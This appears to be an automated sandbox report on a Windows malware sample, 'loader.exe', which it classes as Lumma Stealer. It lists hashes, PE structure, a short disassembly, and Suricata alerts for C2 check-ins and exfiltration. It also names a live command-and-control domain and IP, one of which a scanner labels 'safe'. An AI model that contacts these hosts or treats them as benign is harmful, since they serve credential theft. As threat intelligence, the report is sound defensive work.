https://property-imper.sbs/-	loader.exe, 00000005.00000003.1863948333.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	loader.exe, 00000005.00000003.1755131727.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/i	loader.exe, 00000005.00000003.1819458912.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	loader.exe, 00000005.00000003.1755502043.00000000055C9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	loader.exe, 00000005.00000003.1709558120.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	loader.exe, 00000005.00000003.1709492713.0000000005665000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs:443/apitPK	loader.exe, 00000005.00000003.1863948333.0000000002D9C000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002D9C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	loader.exe, 00000005.00000003.1709558120.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	loader.exe, 00000005.00000003.1755131727.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.162.84	property-imper.sbs	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561467
Start date and time:	2024-11-23 14:08:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	loader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/0@1/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 79% Number of executed functions: 32 Number of non-executed functions: 98
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target loader.exe, PID 7348 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: loader.exe

Simulations

Behavior and APIs

Time	Type	Description
08:09:25	API Interceptor	8x Sleep call for process: loader.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.162.84	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
property-imper.sbs	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	psol.txt.ps1	Get hash	malicious	LummaC	Browse	172.66.0.235
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.179
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.20.178
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	psol.txt.ps1	Get hash	malicious	LummaC	Browse	172.67.162.84
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.162.84
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.728279644396657
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	loader.exe
File size:	495'104 bytes
MD5:	eb9da66b64c00bc89fe8bb984995e7da
SHA1:	fb0ef230ce7078220b9c0d8795ec88234d9c2f93
SHA256:	340de30b05a843bd6a8fbdc1b58f7c3f2e9378c6c1a6b44108d0b7467a5f68c2
SHA512:	238299fb7c51972e8675a1d009dd274ccfbcae49cd52fe702cf9ea3b0ebc99519ef78c6aa05f537e0abe5fd0a64051f9e5246b64eb7be6fce013cef53ff2fc4b
SSDEEP:	12288:OJB+nneDgkXFEIPFHbTSmie2URLIMnfAaLRvpgCfd/j4Lc:yAoR2wbTS2LLI8IalpgCfZkw
TLSH:	80B4F1AF73A390A3E6A3287141E49B75452E3F700F30A5FB57241F691B36AC28532E57
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...t.@g............................pX............@.......................................@.................................T...<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x415870
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6740AA74 [Fri Nov 22 15:59:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	887797384d81c493a9d8ee55dad3b2e1

Entrypoint Preview

Instruction
call 00007F86AD8B268Ah
jmp 00007F86AD8B24EDh
mov ecx, dword ptr [0042B5F0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F86AD8B2686h
test esi, ecx
jne 00007F86AD8B26A8h
call 00007F86AD8B26B1h
mov ecx, eax
cmp ecx, edi
jne 00007F86AD8B2689h
mov ecx, BB40E64Fh
jmp 00007F86AD8B2690h
test esi, ecx
jne 00007F86AD8B268Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0042B5F0h], ecx
not ecx
pop edi
mov dword ptr [0042B5ECh], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [0042946Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00429430h]
xor dword ptr [ebp-04h], eax
call dword ptr [0042942Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [004294A8h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0042C970h
call dword ptr [00429488h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x29254	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x1400	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x237c0	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x293c8	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2169a	0x21800	02aff72e65eaf052f891170e28598361	False	0.550606343283582	data	6.737058354414408	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x7264	0x7400	91e5fdecc510d2c4e72b1b50db3c2501	False	0.40641837284482757	data	4.769873714467996	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2b000	0x2068	0x1000	f9b2b4b1f63578440eedd0ace5ac94f1	False	0.484375	OpenPGP Secret Key	5.090094544660231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x2e000	0x8	0x200	160c8b290b62e5e566d05ce3bec76423	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x1400	0x1400	29fb367912ce622b91120c5cffd84495	False	0.81953125	data	6.557860970753822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.coS	0x31000	0x4d600	0x4d600	ad66d6d60eda5d287fcd681bab58b4bc	False	1.0003344608239095	data	7.999374463743238	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileA, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WaitForSingleObjectEx, WideCharToMultiByte, WriteConsoleW, WriteFile

GDI32.dll

CreateEllipticRgn

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T14:09:25.528059+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	172.67.162.84	443	TCP
2024-11-23T14:09:26.245154+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	172.67.162.84	443	TCP
2024-11-23T14:09:26.245154+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	172.67.162.84	443	TCP
2024-11-23T14:09:27.573143+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.162.84	443	TCP
2024-11-23T14:09:28.294611+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	172.67.162.84	443	TCP
2024-11-23T14:09:28.294611+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.162.84	443	TCP
2024-11-23T14:09:29.889674+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	172.67.162.84	443	TCP
2024-11-23T14:09:32.141438+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.162.84	443	TCP
2024-11-23T14:09:32.862590+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49733	172.67.162.84	443	TCP
2024-11-23T14:09:34.430730+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.162.84	443	TCP
2024-11-23T14:09:36.966027+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.162.84	443	TCP
2024-11-23T14:09:39.553578+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	172.67.162.84	443	TCP
2024-11-23T14:09:43.271902+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	172.67.162.84	443	TCP
2024-11-23T14:09:43.985225+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	172.67.162.84	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 14:09:24.263079882 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:24.263129950 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:24.263216972 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:24.265993118 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:24.266007900 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:25.527972937 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:25.528059006 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:25.530560970 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:25.530572891 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:25.530783892 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:25.571521997 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:25.603298903 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:25.603352070 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:25.603427887 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:26.245163918 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:26.245234966 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:26.245296955 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:26.251113892 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:26.251141071 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:26.312973022 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:26.313028097 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:26.313122034 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:26.313400030 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:26.313415051 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:27.573041916 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:27.573143005 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:27.574348927 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:27.574363947 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:27.574583054 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:27.576297998 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:27.576344967 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:27.576365948 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.294600964 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.294629097 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.294652939 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.294708967 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.294718981 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.294730902 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.294770002 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.294794083 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.294841051 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.302756071 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.304960966 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.305027008 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.305044889 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.313400030 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.313474894 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.313487053 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.368408918 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.418040991 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.462146044 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.462157011 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.495834112 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.495866060 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.495886087 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.495908022 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.495956898 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.495961905 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.496032000 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.496192932 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.496207952 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.496217012 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.496222019 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.585656881 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.585755110 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:28.585855007 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.586128950 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:28.586164951 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:29.889530897 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:29.889673948 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:29.890918016 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:29.890959024 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:29.891177893 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:29.892841101 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:29.892841101 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:29.892894983 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:29.894217014 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:29.894247055 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:30.751554012 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:30.751671076 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:30.751741886 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:30.751952887 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:30.752005100 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:30.877444983 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:30.877479076 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:30.877562046 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:30.877821922 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:30.877835989 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:32.141218901 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:32.141438007 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:32.143949986 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:32.143965960 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:32.144191980 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:32.146111012 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:32.146274090 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:32.146305084 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:32.862601042 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:32.862715006 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:32.862819910 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:32.862963915 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:32.862983942 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:33.172427893 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:33.172514915 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:33.172640085 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:33.173089027 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:33.173124075 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:34.430509090 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:34.430730104 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:34.432423115 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:34.432459116 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:34.432709932 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:34.434505939 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:34.434724092 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:34.434770107 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:34.434854031 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:34.434870958 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:35.322417021 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:35.322520018 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:35.322583914 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:35.322706938 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:35.322755098 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:35.652976990 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:35.653018951 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:35.653156996 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:35.653496981 CET	49735	443	192.168.2.4	172.67.162.84
